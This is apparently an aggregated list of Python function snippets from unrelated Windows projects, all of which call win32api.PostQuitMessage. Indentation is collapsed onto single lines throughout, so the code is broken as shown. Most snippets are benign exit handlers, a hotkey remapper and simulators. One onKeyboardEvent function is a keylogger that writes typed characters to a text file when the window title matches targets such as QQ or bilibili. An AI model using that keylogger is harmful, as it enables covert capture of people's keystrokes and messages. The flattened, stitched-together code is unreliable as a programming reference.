def _exit_event_loop(self): api.PostQuitMessage(0)
def exit(self, *args): win32api.PostQuitMessage()
def Exit(): """从右键菜单退出""" time.sleep(0.5) win32api.PostQuitMessage(0) sys.exit()
def stop(): global is_recording is_recording = False hm.UnhookKeyboard() hm.UnhookMouse() win32api.PostQuitMessage()
def stop(self): self.doStop.start() win32api.PostQuitMessage()
def destroy(self): print "root destroy" if self._recorder is not None: self._recorder.stop() self._root.destroy() win32api.PostQuitMessage(0)
def onKeyboardEvent(event): global lists, MSG, title_word, global_title, pathlist words, title = '', '' status, title_status, break_status = 1, 1, 1 #当前监控的的Ascii十进制数值 keyid = event.Ascii #Ascii十进制32-127以内,部分是无法显示 keychar = chr(event.Ascii) #Ascii明文,大部分都是依靠下面变量去判断 keyword = event.Key #当前窗口如QQ或bilibili的名称 title = event.WindowName #计算标题函数 if title and len(title) > 0: for n in range(len(lists)): if len(title) >= len(lists[n]): for tw in title: words += tw if words == lists[n]: global_title = words title_status = 0 break_status = 0 break if break_status == 0: break words = '' #下面函数则是键盘记录的核心,我已经绞尽脑汁了。 if title_status == 0: if (title_word != title and keyword != "Lcontrol" and keyword != "Rcontrol" and keyword != "Lmenu" and keyword != "Rmenu" and keyword != "Capital" and keyword != "Lshift" and keyword != "Rshift"): title_word = title MSG = getmore('txt', None).get_local_time() + title + "窗口: " if 127 > keyid > 32: MSG += keychar else: if keyword == "Return": MSG += "<回车>" status = 0 elif keyword == "Tab": MSG += "<水平制表>" elif keyword == "Back": MSG += "<退格>" elif keyword == "Delete": MSG += "<删除>" elif keyword == "Space": MSG += "<空格>" if status == 0: if MSG != "": #当触发如回车或者一些特殊按键时候则触发记录 try: getmore('txt', MSG).write_msg_to_txt() except: t_init = threading.Thread(target=init_setting, name="init data son line") t_init.start() t_init.join() win32api.PostQuitMessage() title_word = "" global_title = "" kwords = "" # 同鼠标事件监听函数的返回值 return True
def OnDestroy(self, hwnd, msg, wparam, lparam): win32api.PostQuitMessage(0) # Terminate the app.
def GameOverSurface(self,info): print(' ' * 20, info) win32api.PostQuitMessage()
def exit(self): win32api.PostQuitMessage()
def onMouseEvent(event): if event.MessageName == "mouse left down": x, y = event.Position global count_name action = 'action%s' % count_name work_mode = conf.get('work_mode', 'work_mode') if work_mode == 'zhifubao': if action == 'action1': print(u'请点击< 添加收款理由') screen(x, y, action) elif action == 'action2': print(u'输入理由后请点击 < 发送') screen(x, y, action) elif action == 'action3': print(u'请点击 < 金额输入框') elif action == 'action4': print(u'输入金额后请点击 < 发送') elif action == 'action5': print(u'请点击 < 确定点击在蓝色空区域') elif action == 'action6': print(u'请点击 < 二维码右上角区域') elif action == 'action7': print(u'请点击 < 保存图片') elif action == 'action8': print(u'请点击 < 清楚金额') else: print(u'\n(退出模拟:直接关闭控制台!)') conf.set('auto_set', action, str((x, y))) count_name += 1 conf.write(open("auto.conf", "w")) elif work_mode == 'weixin': if action == 'action1': print(u'请点击< 添加收钱备注') screen(x, y, action) elif action == 'action2': print(u'在弹出的输入框 点击》') screen(x, y, action) elif action == 'action3': screen(x, y, action) print(u'点击 取消后》直接输入金额》后按下回车') elif action == 'action4': print(u'在确定按钮左绿色区域 点击') elif action == 'action5': print(u'在二维码右上角 黑色中点 》点击') elif action == 'action6': print(u'点击》保存收款码') elif action == 'action7': print(u'点击》清除金额') elif action == 'action8': print(u'关闭控制台 开始work') elif action == 'action9': print(u'关闭控制台 开始work') elif action == 'action10': print(u'退出模拟:直接关闭控制台') else: print(u'\n(退出模拟:直接关闭控制台!)') conf.set('auto_set', action, str((x, y))) count_name += 1 conf.write(open("auto.conf", "w")) elif event.MessageName == "mouse right down": # sys.exit() win32api.PostQuitMessage() return True
def onKeyboardEvent(self, event): if event.MessageName == 'key up': self.upnum += 1 #print(111) print(event.Key, event.KeyID, event.MessageName, event.Time) tmp = [] #tmp.append(event.Key) tmp.append(int(event.KeyID)) key = event.MessageName.split(' ') if len(key) == 3: tmp.append(key[0].capitalize() + key[2].capitalize()) else: tmp.append(key[0].capitalize() + key[1].capitalize()) #tmp.append(event.MessageName) tmp.append(float(event.Time)) self.keylist_base.append(tmp) lengt = len(self.keylist_base) if self.upnum % 51 == 0 and self.upnum != 0 and event.MessageName == 'key up': keytimelist = [[] for i in range(int(lengt / 2) + 10)] d = [] num = 0 for i in range(lengt): keylist = self.keylist_base[i] #print(keylist) if len(d) == 0: if keylist[1] == "KeyDown": keylist.append(num) d.append(keylist) num = num + 1 else: f = -1 for i in range(len(d)): if d[i][0] == keylist[0]: f = i break if f == -1: if keylist[1] == "KeyDown": keylist.append(num) d.append(keylist) num = num + 1 else: if keylist[1] == "KeyUp": keytimelist[d[f][3]].append(keylist[0]) keytimelist[d[f][3]].append(d[f][2]) keytimelist[d[f][3]].append(keylist[2]) del d[f] #print(keytimelist) for i in range(len(keytimelist) - 1, -1, -1): if len(keytimelist[i]) == 0: keytimelist.pop(i) #print(keytimelist) key_word_list = [] keylist1 = keytimelist for i in range(len(keylist1) - 1): key_word = [] key_word.append(keylist1[i][0]) key_word.append(keylist1[i + 1][0]) # key_word.append(keylist[i+2][0]) key_word.append(keylist1[i][2] - keylist1[i][1]) key_word.append(keylist1[i + 1][2] - keylist1[i + 1][1]) # key_word.append(keylist[i+2][2]-keylist[i+2][1]) key_word.append(keylist1[i + 1][1] - keylist1[i][2]) key_word.append(keylist1[i + 1][1] - keylist1[i][1]) key_word_list.append(key_word) #print(key_word_list) #print(len(key_word_list)) seq_length = 30 l = 0 r = seq_length # print(r) len1 = len(key_word_list) xx = [] while r < len1: xx.append(key_word_list[l:r]) l = l + 1 r = r + 1 if r > len1: xx.append(key_word_list[len1 - seq_length:len1]) testlist = xx #print(len(testlist)) len1 = len(testlist) testlist = numpy.array(testlist) #with self.graph.as_default(): #print(time.time()) res = self.model.predict(testlist, batch_size=10) #print(time.time()) print(res) print(len(res)) num = 0 for i in range(len1): if res[i] < 0.5: num = num + 1 print(num / len1) if num >= int(0.5 * len1): print("经系统检测,存在入侵可能请输入验证码!!") win32api.PostQuitMessage() #强制中断用户操作,转入验证 else: print("账户安全!!") self.keylist_base = [] # m=model_test(testlist,len1) # if m.is_intruder==1: # flash('经系统检测,存在入侵可能请输入验证码!!') # else: # flash('账户安全!!') # 监听键盘事件 return True
def OnKeyBoardEvent(self, event): global vehicle_dict, theBridge global idx_twin, idx_pool, time_ref, delay_min, time_boundary, time_length, time_window, num_seg_per_time_window global file_monitor, echo_flag_monitor global start_flag, finish_flag if start_flag == False: start_flag = True time_ref = round(time.time(), sec_grade) time_stamp = round(time.time() - time_ref, sec_grade) if event.KeyID == 81: # Q vehicle_force = vehicle.MovingConcentrateForce(time_stamp, "from_left", "huge_slow", theBridge) vehicle_id = "HS_" + "%010.3f" % (time_stamp) elif event.KeyID == 65: # A vehicle_force = vehicle.MovingConcentrateForce(time_stamp, "from_left", "small_fast", theBridge) vehicle_id = "SF_" + "%010.3f" % (time_stamp) elif event.KeyID == 80: # P vehicle_force = vehicle.MovingConcentrateForce(time_stamp, "from_right", "huge_slow", theBridge) vehicle_id = "HS_" + "%010.3f" % (time_stamp) elif event.KeyID == 76: # L vehicle_force = vehicle.MovingConcentrateForce(time_stamp, "from_right", "small_fast", theBridge) vehicle_id = "SF_" + "%010.3f" % (time_stamp) elif event.KeyID == 75: # K self.lock.acquire() # 加锁,避免冲突 for i in range(200): vehicle_force = vehicle.MovingConcentrateForce(time_stamp, "from_left", "sequence2", theBridge, i) info = vehicle_force.Info() vehicle_id = info[0] vehicle_dict[vehicle_id] = vehicle_force # 修改vehicle_dict file_monitor.write(str(vehicle_force.Info()) + "\n") if echo_flag_monitor: print ", remain", vehicle_dict.keys() print self.lock.release() # 释放锁 elif event.KeyID == 83: # S self.lock.acquire() # 加锁,避免冲突 for i in range(200): vehicle_force = vehicle.MovingConcentrateForce(time_stamp, "from_left", "sequence", theBridge, i) info = vehicle_force.Info() vehicle_id = info[0] # "SQ_" + "%02i" % (i) vehicle_dict[vehicle_id] = vehicle_force # 修改vehicle_dict file_monitor.write(str(vehicle_force.Info()) + "\n") if echo_flag_monitor: print ", remain", vehicle_dict.keys() print self.lock.release() # 释放锁 elif event.KeyID == 90: # Z print "Monitor: press key Z" win32api.PostQuitMessage() return True else: return True file_monitor.write(str(vehicle_force.Info()) + "\n") if echo_flag_monitor: print print "Monitor: time_stamp =", time_stamp, print ", new vehicle =", vehicle_force.Info(), self.lock.acquire() # 加锁,避免冲突 vehicle_dict[vehicle_id] = vehicle_force # 修改vehicle_dict if echo_flag_monitor: print ", remain", vehicle_dict.keys() print self.lock.release() # 释放锁 return True
def Exit(): """right click -- exit from the menu""" time.sleep(0.5) win32api.PostQuitMessage(0) sys.exit() """settings of the menu"""
def on_destroy(self, hwnd, msg, wparam, lparam): nid = (self.hwnd, 0) win32gui.Shell_NotifyIcon(win32gui.NIM_DELETE, nid) win32api.PostQuitMessage(0)
def Close(): """ Call windows api to shutdown the app :return:None """ win32api.PostQuitMessage(0)
def OnDestroy(self, hwnd, msg, wparam, lparam): nid = (self.hwnd, 0) win32gui.Shell_NotifyIcon(win32gui.NIM_DELETE, nid) win32api.PostQuitMessage(0) # Terminate the app.
def stopPyHookEvent(): """ end the getting program. PyHook3.HookManager() will __del__(self) """ win32api.PostQuitMessage()
def abortkey(event): if (event.Key) == 'F12': win32api.PostQuitMessage() return True
def onKeyboardEvent(event): global timer, isQuiet, isTimer, LmenuState, shiftState LmenuState = win32api.GetKeyState(18) shiftState = win32api.GetKeyState(16) if isTimer: timer.cancel() global preKey, currentKey currentKey = str(event.Key) # 如果当前按键为alt/lshift/rshift,将其值存储到prekey,本次按键监听结束,程序进入下一次按键监听。 if currentKey == 'Lmenu' or currentKey == 'Lshift' or currentKey == 'Rshift': preKey = str(event.Key) return True # 如果当前按键为tab,则进入prekey判断 if currentKey == 'Tab': # (win32api.GetKeyState(20) == 1)表示大写键被锁定 # prekey为以下几个值,说明用户操作的是原有的快捷键,不做键盘消息处理,本次监听结束,进入下一次按键监听 # 存在bug:为了使alt/shift加tab能连续使用,未清除记录的alt/shift键状态,此时立即按tab键,不会进入快捷方式 # 修复方案,需获取alt的按键状态,win32ap.GetKeyState获取的是使用情况,比如初次win32ap.GetKeyState(16)为1, # 按一次shift后,win32ap.GetKeyState(16)=0,再按一次shift win32ap.GetKeyState(16)又变为1 if preKey == 'Lmenu' or preKey == 'Lshift' or preKey == 'Rshift': # 状态为-128或-127,则表明该键处于按下状态 # (若当前状态为0,则长按时,获取到的状态值为-127;若当前状态为0,则长按时,获取到的状态值为-128) if LmenuState == -128 or LmenuState == -127 or shiftState == -128 or shiftState == -127: return True else: preKey = 'Tab' return False # if preKey != 'Tab': preKey = str(event.Key) timer = threading.Timer(1, func_timer) timer.start() isTimer = True # 如果程序功能不为暂停,则阻止程序往下执行 if not isQuiet: return False if preKey == 'Tab': if currentKey == 'Q': # 按下Q后暂停快捷键功能 isQuiet = not isQuiet preKey = '' return False if not isQuiet: preKey = '' if currentKey == 'M': win32api.keybd_event(9, 0, 0, 0) win32api.keybd_event(9, 0, win32con.KEYEVENTF_KEYUP, 0) return False # 逗号 if currentKey == 'Oem_Comma': win32api.keybd_event(35, 0, 0, 0) win32api.keybd_event(event.KeyID, 0, 0, 0) win32api.keybd_event(event.KeyID, 0, win32con.KEYEVENTF_KEYUP, 0) win32api.keybd_event(13, 0, 0, 0) # win32api.keybd_event(13, 0, win32con.KEYEVENTF_KEYUP, 0) return False # win32api.keybd_event(event.KeyID, 0, win32con.KEYEVENTF_EXTENDEDKEY, 0) # 按下键位 # win32api.keybd_event(event.KeyID, 0, win32con.KEYEVENTF_KEYUP, 0) # 松开键位 # 分号 if currentKey == 'Oem_1': win32api.keybd_event(35, 0, 0, 0) win32api.keybd_event(event.KeyID, 0, 0, 0) win32api.keybd_event(event.KeyID, 0, win32con.KEYEVENTF_KEYUP, 0) win32api.keybd_event(13, 0, 0, 0) return False # Left if currentKey == 'J': win32api.keybd_event(37, 0, 0, 0) return False # Up if currentKey == 'I': win32api.keybd_event(38, 0, 0, 0) return False # Right if currentKey == 'L': win32api.keybd_event(39, 0, 0, 0) return False # Down if currentKey == 'K': win32api.keybd_event(40, 0, 0, 0) return False # = if currentKey == 'O': win32api.keybd_event(32, 0, 0, 0) # 空格 win32api.keybd_event(187, 0, 0, 0) win32api.keybd_event(187, 0, win32con.KEYEVENTF_KEYUP, 0) win32api.keybd_event(32, 0, 0, 0) # 空格 return False # + if currentKey == 'P': # ; win32api.keybd_event(32, 0, 0, 0) # 空格 win32api.keybd_event(16, 0, 0, 0) # shift win32api.keybd_event(187, 0, 0, 0) # "=+" win32api.keybd_event(187, 0, win32con.KEYEVENTF_KEYUP, 0) win32api.keybd_event(16, 0, win32con.KEYEVENTF_KEYUP, 0) win32api.keybd_event(32, 0, 0, 0) # 空格 return False # : if currentKey == 'U': win32api.keybd_event(35, 0, 0, 0) # 按下End win32api.keybd_event(16, 0, 0, 0) # 按下Shift win32api.keybd_event(186, 0, 0, 0) # 按下“;:” win32api.keybd_event(186, 0, win32con.KEYEVENTF_KEYUP, 0) win32api.keybd_event(16, 0, win32con.KEYEVENTF_KEYUP, 0) win32api.keybd_event(13, 0, 0, 0) # 按下“Enter” return False # {} if currentKey == 'Oem_4': # [ win32api.keybd_event(35, 0, 0, 0) # 按下End win32api.keybd_event(32, 0, 0, 0) # 按下Space win32api.keybd_event(16, 0, 0, 0) # 按下Shift win32api.keybd_event(219, 0, 0, 0) # 按下“[{” win32api.keybd_event(219, 0, win32con.KEYEVENTF_KEYUP, 0) # 松开shift win32api.keybd_event(16, 0, win32con.KEYEVENTF_KEYUP, 0) # 松开“[{” win32api.keybd_event(16, 0, 0, 0) win32api.keybd_event(221, 0, 0, 0) win32api.keybd_event(221, 0, win32con.KEYEVENTF_KEYUP, 0) win32api.keybd_event(16, 0, win32con.KEYEVENTF_KEYUP, 0) win32api.keybd_event(37, 0, 0, 0) win32api.keybd_event(13, 0, 0, 0) return False # 打开txt if currentKey == 'T': win32api.ShellExecute(0, 'open', 'notepad.exe', '', '', win32con.SW_SHOW) return False # # 打开word # if currentKey == 'W': # win32api.ShellExecute(0, 'open', 'word.exe', '', '', win32con.SW_SHOW) # return False # 以默认浏览器打开百度 if currentKey == 'G': win32api.ShellExecute(0, 'open', 'https://baidu.com', '', '', win32con.SW_SHOW) return False # 以默认浏览器打开有道翻译 if currentKey == 'Y': win32api.ShellExecute(0, 'open', 'http://fanyi.youdao.com/', '', '', win32con.SW_SHOW) return False if currentKey == 'F12': # 按下F12后终止 win32api.PostQuitMessage() return False if currentKey != 'Tab': preKey = '' return True